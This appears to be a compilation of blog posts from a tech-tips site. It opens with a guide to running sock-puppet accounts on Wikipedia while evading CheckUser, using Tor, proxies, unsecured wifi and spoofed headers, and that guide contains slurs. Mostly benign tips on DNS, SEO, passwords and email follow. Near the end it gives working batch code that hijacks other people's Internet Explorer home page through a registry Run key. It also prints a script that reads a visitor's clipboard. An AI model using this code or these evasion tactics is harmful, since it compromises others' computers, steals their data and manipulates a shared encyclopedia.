How to sock on Wikipedia

Shared via MZMcBride and encyclopediadramatica. This article is not meant for promoting sock puppetry though, it serves as an equal tool for those trying to catch it by understanding how it is done.

So you want to sock and not get caught? Well, it's not exactly easy, but there are definitely some things that can make it easier. The following are some tips for socking well.

Multiple accounts are the natural result of a non-anonymous website. People switch accounts just to stay anonymous. But a sock puppet is when a person uses these accounts to prove they've not gotten laid for a very long time, if ever. It is a tactic often used by trolls harrassing people on certain sites, faggots "trolling" on Wikipedia, and even pplz on ED who are evading a well-earned ban.

Anonymous websites let you samefag with little pissing away of your life and people can spot them with just a little bit of intelligence.

However, non-anonymous websites are MMORPGs where people work their sock accounts up to epic activity histories. Then when the sock puppets come by to back each other up, people look at their long histories of activity and go, "There's no way someone would spend that much of their time making all these accounts look like different people. They must be different people in real life because no one could have that less of a life spend that much time building these accounts up just to win some petty arguments."

And that, prey tell, is why sock puppets are effective. It's not that people can't tell, it's that they really don't want to believe.

Sockfarm

A sock farm is where someone creates a sock puppet account, and then another, and another, and another, and another... These accounts all make minor edits to articles aka "farming", and as many useless ones as they can to build up their edit count. They start having conversations with one another. Then they fall in love, get married, break up, and fight.

Eventually this farm is "harvested" and it can get administrators elected, articles deleted, kept, merged, and through sheer numbers make anything happen on Wikipedia that they want.

Of course you need a lot of time before getting the fruits of your farming, but it's worth the efforts. Eventually you will manage to control over 9000 sock puppets, have yourself elected as Sysop, have everyone banned, and then organize a massive raid (maybe with /b/tards, but they are not your personal army) in order to vandalize and delete the whole encyclopedia. Wikimedia will collapse, Jimbo Wales will be screwed and you will be considered as a legendary hero, even greater than Willy on Wheels or Grawp.

Anyway, you are too lazy to do it, aren't you?

Become familiar with the tracking tools

On Wikipedia there are those elite few, the Magic 40, that possess CheckUser abilities. This means that they check the IP addresses that any account edits from. While you're busy socking away there can be slip-ups: you might sign a post or edit a user page with the wrong account. Since this is Wikipedia after all, and suspicion is the order of the day there, this will be noticed. A CU will be notified and an IP check conducted: "ZOMG 34 accounts edited from ip 127.0.0.1." And you're screwed. But who wants that?

1. Use Tor. Liberally. If you're caught just say you're editing from China and that the secret police would kill you if they knew you were editing Wikipedia.
2. Use AOL. Yuck what internet veteran uses AOL you say? A smart one, AOL gives you a new IP with every page load. CheckUser=CheckUseless!
3. Open Proxies This is risky as they are blocked on sight, and just editing from an open proxy can be seen as a sign of trollkind. Well, yeah.
4. Use shared IPs like cybercafes and community colleges for some of your accounts.
5. Get in your car and go searching for unsecured Wireless hotspots. This is great when using troll socks to post power words. Maybe you'll even get someone else banned!
6. If you live in a city like Portland that offers wireless across town...well it can't get any easier than that.
7. Use different browsers. The greater the chance you can reduce human error, the better. Instead of having to remember to log in and log out, each browser stores your separate session.

Since you'll likely be socking on a MediaWiki wiki, all of the documentation and source code of the extensions used by the software is publicly available. Read the page about the CheckUser extension and browse its source code if you know PHP decently.

Also, it's important to understand Wikimedia's configuration of the extension. The data available to CheckUser is only stored for 90 days. After that, it gets deleted.

Use different browsers

This is one of the easiest ways to sock. The greater the chance you can reduce human error, the better. Instead of having to remember to log in and log out, each browser stores your separate session. Protip: you can tint backgrounds of edit textareas to distinguish them (slight reddish color for alt account, slight blueish color for master account, e.g.).

Use a shell account

Using SSH or a VPN, use a shell account to proxy. This masks your actual IP address and instead assigns you whichever IP you're proxying through.

Shell accounts can be purchased (from a web hosting provider) or most schools and offices have publicly available VPNs.

However, be warned that some proxies retain XFF headers (see below for more) and others don't. You'll likely need to spoof your headers to be safe.

Alter your headers

When a CheckUser checks your account, they can get header information that looks something like this:

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_2; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1

You need to spoof this info if you'll be using the same computer or browser to sock.

XFF

XFF headers reveal information about your originating IP address. As mentioned above, your proxy may strip the XFF headers, however this isn't guaranteed. Generally speaking, spoofing XFF headers is pointless.

User agent

User agent headers are easily spoofed. These reveal the browser you're using. If you're using two separate browsers as suggested above, it's probably still a good idea to spoof the user agent string as it always includes operating system information.

Alter your behavior

This is one of the most important steps to not get caught socking.

Time zones

It's trivial to map someone's contributions throughout the data. And sock trackers regularly use this tactic to spot patterns between accounts. Edit at different time zones with different accounts. Direct overlap between two accounts always looks suspicious.

Content areas

This is rather trivial to understand, yet many people get caught this way. To effectively sock, you have to edit in different areas than your master account. If your master account is involved in every bot discussion, your sock should not be. While it may be helpful to comment occasionally on bot discussions using your sock account to throw people off, you should avoid similar content areas.

It's equally important to avoid similar types of edits. If you're the master of fixing references, make your sock the master of writing content or the master of typo fixes. Don't have your two accounts making the same type of edits.

Edit summaries

This is another easy way to get caught. If you always edit using edit summaries, make sure your alt account does not. Also, make sure you use different types of edit summaries. For example, for a standard reply, many users use "+reply", "re", "r", or "reply". Some even copy and paste part of the message in the edit summary box. Whichever way you choose, be sure to not do the same thing on your alt account.

Writing style

This is very important if you make a lot of 'public' comments (comments on various noticeboards and talk pages). One obscure word used by both accounts and people could start to ask questions. If you're a poor speller, have one of your accounts use Firefox's spelling checker. If you always spell you as 'u,' well, you shouldn't do that for any reason. But if you do anyway, make sure your other account doesn't do the same thing. Writing style can quickly give away a user's true identity.

Talk with yourself

This is an incredibly tricky tactic that can easily backfire, but if done effectively, it can make it seem very, very implausible that the two accounts are connected. This should be done rarely, if at all. The occasional talk page comment to your alt account or point something out to them. Do not give them awards or constantly praise their work. That quickly raises suspicions, especially after a recent incident on the English Wikipedia.

Avoid double voting in major elections

Every user who votes for Board officials or for stewards is CheckUsered. Don't double vote in major elections unless you're sure that your IP information and XFF headers won't reveal a direct similarity.

Act your age

New accounts don't know about noticeboards. They don't usually even know about namespaces. Remember that when someone is examining your contributions history, a normal account always shows a predictable evolution. Be sure to keep this in mind when using your alt account. Sure, you can try to excuse your behavior with claims that you edited anonymously for years or whatever, but it's a whole lot easier to simply edit linearly (using edit summaries more often as time passes, exploring other namespaces, getting involved with the administrative side of things, etc.).

However, as a caveat, do not try to act like a completely new user. Blatant mistakes and downright stupidity will just get more attention focused on you. Play it cool and you'll have no issues.

Why using a CNAME to dropbox is a bad idea

It might be an attractive option to use your own domain name for shared hosts like dropbox so that you would be using links of your own domain for file downloads giving it a branding. There are numerous methods to map your link locations from custom domain to the file hosts like dropbox. Using a RewriteEngine from Apache if you have a webhost or google app engine to map the URLs is the best option.

But on the other hand, if you try to take a shortcut and directly CNAME a subdomain to dl.dropbox.com, your URLs will not only still look complex but also create a flaw that will compromise your domain name.

How? Unless the target is especially mapping your domain name to your files / URLs like in case of blogger.com or bit.ly which use one to one mapping, a CNAME means your specified subdomain is an alias of the target. When one to one mapping is present, the invalid links are directed to a 404 page by the host (say blogger). But when the target is not managing the targeted alias, like in case of dropbox, your subdomain becomes a complete copy of whatever exists on the target domain; the alias subdomain will also have concurrent links to those files. If they are actual html files a search engine will even give you a duplicate penalty if it links both files. Since we are only considering temporary downloadable files here (which we are not linking using the dropbox link and the custom link both at the same time), we will ignore the SEO impact.

The flaw with being a complete copy of a domain (without proper mapping) is that any one who uses dropbox can also use your alias subdomain to share files as it links to whatever dl.dropbox.com links to. Now a hacker can serve malicious files via your subdomain to attack unsuspecting users and eventually get your subdomain blacklisted with anti-viruses or safe browsing services (maybe even with the search engines).

Why every website owner needs google webmaster tools

If you are a website owner, there are a multitude of reasons why you need to get an account at google webmaster tools. Although it is always better to control everything in-house but some times having your say in how the largest search engine treats your website from their end makes things a lot easier. This article only tries to point out a simplistic life hack that a webmaster can do instead of other tedious corrections.

"Www" used to be added to a website to tell the offline readers that it was an online address of the world wide web during the transition to 21st century. Now every one knows juggaar.com is a website and I do not necessarily need to give them a link based on www.juggaar.com. This being said, "www" is technically a subdomain of juggaar.com and when you buy a new website, www subdomain is either having an A record to the same host, a cname to the root domain or both.

For the host, the uniqueness there is the content page; same goes for the developers' perspective. But that's not the case for a search engine. For a search engine, a URL is the unique identifier between two pages not a database unique reference number; infact URL is everything as far as a search spider is concerned (unless you've 'told' it so in one of many available ways). A cname or an A record pointing www to the same host will create a completely new URL... and even if you do not ever use www to link to your website, some one else most probably will and then google will index that too and treat it as site wide duplicate content. Google has now indexed two copies of your website and which ever it indexed first is the original one for it. It may either display both copies of your website separately (hence dividing your SEO rank into two and not consolidating for a better result) or worse, give you a penalty for duplicate site wide content. This is an extremely common SEO mistake that affects websites.

Why doesn't google just create an exception for www? Because www is technically a separate subdomain and it is possible to put a completely different page / website on it; however, google does give an option for it if you are registered with google webmaster tools (using a google account). In the site settings option, once you have added and verified both your www website and the root domain name to the webmaster tools, you can chose the preferred URL as explained by google and get google to treat the two kinds of content as the same content. This will consolidate your website ranking all to a single URL as well as avoid google from getting confused over duplicate content.

Google displays this note at the end of the linked explanation above:

"Note: Once you've set your preferred domain, you may want to use a 301 redirect to redirect traffic from your non-preferred domain, so that other search engines and visitors know which version you prefer."

A 301 redirect is the actual way of telling the bots of any search engine without getting a privilege like google webmaster tools that the sub domain is not harboring duplicate content. So, if you choose not to use google webmaster tools or would you also care for your website SEO on other search engines like Bing, you should rather create a 301 redirect from www to your root domain instead of a cname or an A record.

Most web developers are going to argue with you why this is extra effort and the content is actually the same but here's how the Yoast article on duplication explains it:

"Has that developer gone mad? No, he’s just speaking a different language. You see the whole website is probably powered by a database system. In that database, there’s only one article, the website’s software just allows for that same article in the database to be retrieved through several URLs. That’s because in the eyes of the developer, the unique identifier for that article is the ID that article has in the database, not the URL. For the search engine though, the URL is the unique identifier to a piece of content. If you explain that to a developer, he’ll start getting the problem, and then, if he’s anything like most developers I know and have worked with, he will come up with reasons why that’s both stupid of the search engine and why he can’t do anything about it. He’s wrong."

Oh life!

If you are used to writing a daily journal; a personal diary, it is likely that you shifted to the internet (after Y2k?). You might be blogging, sharing on facebook or just sending an email to yourself if you want to keep it private. But that some how doesn't seem to be a good collection. If I had to do it, I'd create a private blog over blogger and turn on the secret email address to post all my journals to it by email (since I love email, I have it open all the time, it's now synonymous to me to grabbing a pen and paper for a quick note - yes I use gmail tasks for the quick notes btw). I even write to my future self for reminders of things-to-do using followupthen.

But if you are not just satisfied with a private blog and you want it right in your email inbox you might want to try a journaling web app that works right from your email like followupthen. Bania.io was good as far as productivity heat maps were concerned, but it's not really a journaling app and nor is followupthen.

Ohlife fills that gap for the email lovers.  OhLife shares your past journals back to you (only you, no sharing; no social) every now and then while you write new ones and reminds you every day to write a note about your day. After a while it gets good as you create an account of your everyday activity on the app.

If you are using another journaling app or, like me, you too find a private non-published blog on blogger (or something like emailing yourself) to be the first elegant thing that comes to your mind, leave a comment.

DNS Propagation check

For quick checks on new DNS records that you update to your domain or if your domain records don't seem to be resolving, WhatsmyDNS.net gives out a totally clear picture of which name servers are currently holding updated zone records of your domain name.

This also maps out which name server is holding what record at the moment. So if your case was just that of modification from one to another record, you can change that too in a list along with the map. On the other hand, for the newly added records, things are even better.. the map shows an overlay of ticks and crosses over the world map and DNS servers.

Pinning your post on top of a facebook group (without admin rights)

Facebook groups usually keep the posts with the recent most reply on the top. Admins are further given the rights to pin posts to the top of the group for any period of time so that they get more views. But since you can't be an admin at any or every random and large facebook group you are a member of, your post goes down with the hustle and bustle in the groups posts that have discussions going on them. Soon you'd find your post far below.

Now commenting on your own post where no one has commented is not something one can do, or atleast not more than once to bring the post back on top. However, if you post anything in the comment, and then delete it, the post does not go back to the bottom. It means, the checks that keep a post on top are not on whether the post has a recent comment on it, rather on the post that has had a recent activity on it (even if that comment was deleted). This can be used to manually keep a post on the top of a group by commenting (even a single letter) and deleting your own comment from time to time till you don't want it on top any more. You can ofcourse delete and repost it too but the new time stamps will be noticed and admins will get pissed off.

Maintain productivity chain with Bania.io

Bania.io lets you send an email to WalkEveryDay@bania.io whenever you take a walk and the website will start giving you output, charts with proper shades and a productivity chain for your tasks that you regularly email to bania.io. You can send emails for WeekendHike@bania.io every weekend and it will record how often you have missed your hikes on weekends. There is no login involved and no settings needed, the charts are automatically sent to your email inbox so there's no need of an extra layer of security. Like my previous post about FollowUpThen, the focus is on getting your email to work for you right from your inbox instead of logging in to different websites, maintaining accounts. Email is something that has already been made secure and easy to handle. There would be almost no one on the internet that would not use email. Getting most out of email is one of the simplest way of productivity hacking and bania.io gives you the clean graphical side of it.

On every email, Bania.io replies you with a heatmap of your streak. As you keep repeating, the chart spreads over the calender letting you find out how regular you have been over days and months.

Although this might be quiet handy for those looking to improve their productivity in real life, now wonder what an internet hacker could do with a tool like this. For starters, I would go for a combo... combining IFTTT, FollowUpThen and Bania.io automating your internet tasks without even having to regularly email bania.io manually. Okay... so thinking out loud; how about creating a report about how often you (actively) use Facebook (check for triggers), or how often you receive / send email, or perhaps how often you follow up on tasks that you put in your google drive / dropbox? The possibilities are as much as the resources on internet ;)

Sync between Dropbox, Google drive and OneDrive

After a long search for cloud syncing mechanisms that do not involve your PC to first download and then re-upload the files wasting precious bandwidth, and certainly not involving any paid accounts, MultCloud is the nearest solution with a outlook and windows 8 like web theme. It allows you to sync remotely between all mainstream cloud services without downloading the data first. The files are directly copied between the services - finally you can get the best of all your favourite services, sync between them and even use all their combined space for a larger storage for free. Now remotely downloading torrents to dropbox is only one of the magic things you can get from cloud.

The only caveat is that the website needs a lot of features inspite of its user friendly theme. Any syncing between the services has to be done manually by copy pasting the files or folders as displayed in the multcloud console. This is very user friendly if it is to be done for the sake of backing up, but not for continuous syncing. IFTTT would still be a better method for continuously syncing files. What multcloud needs to beat everything else in its competition is a feature that makes continuous two way syncing between the services fully automated. That is, virtual directories created in OneDrive (for example) copy or take in the data from dropbox (for backup). Or anything added to one service automatically updates in the other without having to login to multcloud. This would not only bring alot of free users to multcloud (which would then ofcourse like to upgrade for its current premium services) but also make the multcloud users refer much more friends to the network turning it into a hub for cloud management

The biggest turn off for multcloud is that you have to keep the console open till all your files are synced between the services or the connection is broken (and on top of it, the transfer is quite slow if you are copying a multitude of files and sub folders). So even if you did it manually, you have to stay on the web page. That hardly makes it the best of the remote syncing services, but it's a good starter as its very user friendly interface makes up for the rest.

Some alternative services are ZeroPC (1 Gb/bandwidth per month for free users) and Storage Made Easy (2 Gb/bandwidth per month for free users). However, their FAQs show almost exactly same features and unless better flexibility, higher transfer speed and the option of closing the browser (transferring in background) are not their plus points they do not stack up well at all against the unlimited bandwidth of the free multcloud service.

For now, I only use it for creating one time back ups from DropBox to OneDrive. If there's a service that catches up with the idea of unattended automation (without involving premium ofcourse), feel free to drop in comments and I will update this post.

Facebook email: Now an only an alias with an opt-out option

Facebook tried to get into competition with Google by introducing its notorious username associated email addresses that integrated all email sent to them with your facebook inbox... that seems to have been a failed venture.

Although Facebook still displays the "Facebook Email" as the default email address on the profiles of all new accounts as "username@facebook.com", but it can be hidden in the "contact info" section. Furthermore, this email address no more integrates all the incoming email into your Facebook inbox. Rather it forwards the email to the user's primary email address. Essentially it is now only acting as an email alias / forwarding address and is no more an email service per se.

I guess Facebook also tried to get some good will from the annoyed users so now you can also go to Facebook settings > General > Email and uncheck "Use your Facebook email: username@facebook.com" if you don't want email being sent to your Facebook address to be forwarded to you. This could be useful as it would prevent those who don't know you from contacting you at all and hence decrease spam or other unwanted email.

This is what Facebook had to say:

Just a reminder, any emails sent to your Facebook email address (username@facebook.com) will now be forwarded to this email address (primaryaddress@domain.com). You won't be able to view these emails on Facebook anymore.

If you reply, it will come from this email address, even though the original email was sent to your Facebook email address.

To update your primary email address or stop using your Facebook email address, visit your Settings.

This is an opt-out option though. The side effect of silently retiring the "all-in-one" inbox for sms, email and social network is that most unsuspecting users can now be contacted at their username@facebook.com email addresses and they would receive the email at the primary email address they signed up with. And while with the Facebook inbox, it would have been subtle and messages would have gone to the "other" folder, now the primary inboxes of any one who has not manually intervened and disabled the Facebook alias are wide open to everyone for dropping in messages via this address.

This also means that you can not send emails using your Facebook email address anymore. There's a workaround for that though. You can add it to Gmail or Hotmail as a send only address and the permission request to send email from the address would be redirected back to your primary address where you can allow it and then use it as an alias in Gmail / Hotmail to send emails as username@facebook.com. Although this will allow you send emails from your Facebook email, but just in case some one decides to stuff the beans up their nose, this does not truly hide your primary email address why replying. Gmail and Hotmail tend to show "on behalf of" primaryaddress@domain.com in details, and even when they don't... any one poking into headers can easily find out who the original email sender was since the primary Gmail or Hotmail address is always mentioned in the headers even when using alias.

Remotely download torrents to dropbox

I wanted to download torrents directly instead of leaving my computer on and waiting for those slow seeders who often even went offline. Previously I shared how to download a torrent file as a normal download which covered this to some extent. Zbigz.com turned out to be something that would allow up to 1 GB free torrent downloads as normal files... now the issue with them is that you've to open the website and get your download and wait till it completes.

Boxopus.com does it even better. It allows you to link your dropbox account to your boxopus free account and lets you download the file to your dropbox account, which dropbox will automatically sync to your computer or other devices. Now we know that dropbox checks for illegal and pirated files by checking the meta data. Hopefully any movies you download wont be a problem until you publicly share those files as those checks are performed on the publicly shared dropbox folders.

Varying passwords for each service without memorizing

It's a good practice to use different passwords on each single service you use so that if one of the services is compromised due to any reason, the hacker is not able to hijack your whole internet identity. Such a practice might come in handy for those changing their passwords in wake of the heartbleed bug.

There can be quite a few ways to do this (and you can invent your own as well, share in the comments if you like).

1. Categorizing:

Categorize your passwords for each type of service. A unique password for the primary email address (which you should change every now and then), a single password for the social media (Facebook, Twitter, whatever-you-use etc) and another password for, for example, your secondary email addresses or your work / academic addresses. This method categorizes different types of services and protects you from anyone who has found one of those passwords from moving on to other types. Something of the sort done in space stations and submarines; section wise protection so that even if one section is breached, others remain safe.

2. Variation:

If you find even categorizing difficult to memorize you can go for this method. To vary passwords, you can choose a formula that bases the variation on a theme. Decide a core password of a mixture of six letters and numbers (alpha-numeric) that are not any dictionary word... say xYz123.

Now, all your passwords for different websites or services can be variations on that core password, and you don't have to remember a separate password for each service and yet actually use a different one for every single one of them.

For example, you can pick the last two letters of the service's name, so that even if your password is viewed or compromised one can not tell what the ending letters are, and place them at the start and end of your core password. So if you are using Gmail, the letters are “i” and “l" which come at the start and end of your core password which would now be ixYz123l. For Facebook, your password would be oxYz123k ("o" and "k" - the last two letters - at start and end).

You can, ofcourse, make this a much easier variation by just adding them to the end of your core password or, perhaps, make even more obscure by making your variation formula / scheme more complex and adding the letters somewhere in the middle or at two places of your core password. Depends on how good you are with words.

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And on top of all, it is always better to keep a unique, unrelated, password for your primary email address so that there's always somewhere you can go and use a "forgot my password" option making it your last line of defense.

Your digital will

The digital generation has shifted every thing from books and studies to gaming and entertainment to the internet, but there's one important thing that they've been missing. How do they leave messages for the future generations, how do they leave their last remarks and what happens to their online identities once they die. Will they float on the internet forever or should they be totally removed? On most services it is one way or the other by default. Your account may become inactive (and removed) by time or it may never be deleted even if you don't use it.

Google has made it easier by introducing the inactive account manager and letting you control what happens to your account and private data once you stop logging in to your account for a time period you've set.

Control what happens to your Google account, and probably most of your internet presence (if gmail is your primary email address), when you stop using it, forget the password for good, are indisposed over a long time or die.

It may act as your digital will or digital after life. It also confirms the recipients' cell number along with their email ID so that only and only that person can be sent a verification to sign in and collect your data. This is what Google has to say about it. You may alternatively archive and download all your emails or data from other Google products and save it on your hard disk.

There's another thing you can use this feature for. By setting up a time limit, say if you haven't logged in for 18 months, after which your account becomes inactive and then a set of emails you have written would be automatically triggered and sent to each recipient.

See also:

https://support.google.com/accounts/answer/3036546?hl=en

http://mashable.com/2013/04/11/google-inactive-account-manager-death/

http://techcrunch.com/2013/04/11/googles-afterlife/

Workaround Facebook's "seen" feature

If you are tired of people knowing when you've seen their private messages, here are three simple hacks you can choose from to remove that "seen" remark from their inbox ;)

1. Preview: Just drop down the messages menu and check out a preview of the message without marking as read.
2. Mark as unread: if you want to read the full message, do so and then mark the message as unread from the options and browse away from that page without opening it again. The "seen" mark will get removed from the other user's inbox.
3. Delete conversation: If you remove the whole conversation from your inbox, then too the "seen" mark is removed from inbox of the user you were chatting with.

In addition to these three options, blocking or deactivating your profile will also result in the "seen" mark being removed.

Graphical calculations in google

Search this in google:

sqrt(x*x+y*y)+3*cos(sqrt(x*x+y*y))+5 from -20 to 20

This plots a graph. Google now brings graphical calculations after the ability to search for normal 1+1 calculations in the google search bar.

Pring seamlessly patches technologies

Pring is an sms based social network that connects users over multiple technologies (SMS, Internet, Mobile / Notebook browsers) and also offers to update and integrate the traditional social networks on the go. This, in my opinion, is another life hack.

Pakistan is a country which uses multiple technologies and hosts all kinds of users. SMS, however, has turned out to be Pakistan's favourite. So much so that the mobile carriers started cut throat competition to reduce SMS prices to the limits they were never seen before. Pakistan became one of the world's largest SMS bandwidth users in 2009. When almost every one had near-free access to a technology such as SMS which was supported on even the cheapest cell phone, a social network based on that technology was not only the way to identify a market need for a swarm of users but it also seamlessly patched them to the rest of the internet.

The real download button

If you're visiting movie websites or download services, you will often see those fake download buttons everywhere even more prominent than the real one so that you get into clicking them instead.

A quick way to find out which download button's not real or an ad would be to just click and drag. If it moves, it's not real!

How to Setup Email Reminders Using Email

If you want to check back on something later and you don't have the time to set up complex reminder programs - you can simply setup email reminders in Gmail or other mail programs. All you have to do is send an email to the appropriate FollowUpThen email address.

I do it all the time... especially when I am using a mobile phone. If I come across a cool site that I would want to check out later from the desktop or if I just want to dump a hack into my email ID to read on it later, I just send the URL to my own email account. If I have an idea for a blog or if I just need to remind myself of somethign, I jot it down in a message and email or SMS it to myself.

There are many apps that you can use to schedule email based reminders, including Google Calendar or even scripts inside google docs, but if you prefer to have something really simple that you can use from your inbox without any setup, check out FollowUpThen.

This service allows you to quickly setup custom email reminders using email. All you have to do is send a message to time-interval@followupthen.com and the service will send you a copy of the same email message after the time interval you specified.

Check out some sample date formats examples that you may want to use while setting up email reminders:

6pm@followupthen.com (to get a reminder at 6 PM exact)
6pmTomorrow@followupthen.com (to get a reminder at 6 PM tomorrow)
10minutes@followupthen.com (to get a reminder after 10 minutes)
3days@followupthen.com (to remind me after 3 days)
tuesday@followupthen.com (to remind me the next Tuesday)
nov29@followupthen.com (to setup email reminders for a specific date)

Their service recognizes time zones from your email headers so if you setup a reminder for 1 PM, you will be reminded as per your own time zone. This means you wont have to specify if you are +5 GMT (for PST) as far as your email has the right country set in it. You can also setup recurring email reminders with FollowUpThen although an online calendar like Google's is better for tasks like that.

Hackers' IQ Test

If you think you are good at Hacking or Juggaars, here's an IQ test for you. There are 17 hidden pages in this website. I'll be giving you only the link to the first page on this website which will not be linked to any other page. Work your way through the links on the address bar and see if you can reach upto the seventeenth page. You'll be given hints as you reach the next page. You don't get to have the hint for the first one though - it's too obvious ;)

Here's the first:

http://www.juggaar.com/p/1.html

Hint 1: edit the above address to navigate ahead ;)

You'll have to think intuitively and reiterate differently each time you find the next page.

Good luck.

PS. comments have been disabled in the hidden pages. Leave any comments on this page or the facebook page. Don't leave hints in the comments though... or I'll have no choice but to delete them.

Hijacking Inernet Explorer home page

It is usefull if you have your own fake web page and wann to fix public place or your friends internet explorer home page or if you just want to

Make there .bat files

1. homepage.bat
2. hijack.bat
3. call.bat

code for homepage.bat file

reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "juggaar.com" /f

code for hijack.bat

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Homepage" /d "C:\WINDOWS\homepage.exe" /f

code for call.bat

copy homepage.exe C:\WINDOWS\homepage.exe

call C:\WINDOWS\homepage.exe

call hijack.exe

Now download Bat_To_Exe_Converter v1.5 from google in free and size 420 kb (or another converter) and convert call.bat to call.exe and include your 1.homepage.bat 2.hijack.bat

Now your call.exe is a small exe program that set internet explorer home to your fake page each time when computer is started.

Clipboard hacking

Clipboard is a cross application gadget that operating systems use to give you a quick copy and paste tool which can cross over content from application to application. But keeping sensitive content in clipboard is not safe. Here is one reason you might not want to save your passwords, pin codes, account numbers etc in your clip board (copy pasting or otherwise) while surfing the internet.

This is a simple script that will enable a website to get whatever was saved in your clipboard:

<Script Language="JavaScript">
var content = clipboardData.getData("Text");
alert(content);
</Script>

This site explains how, once collected, it can be forwarded and used.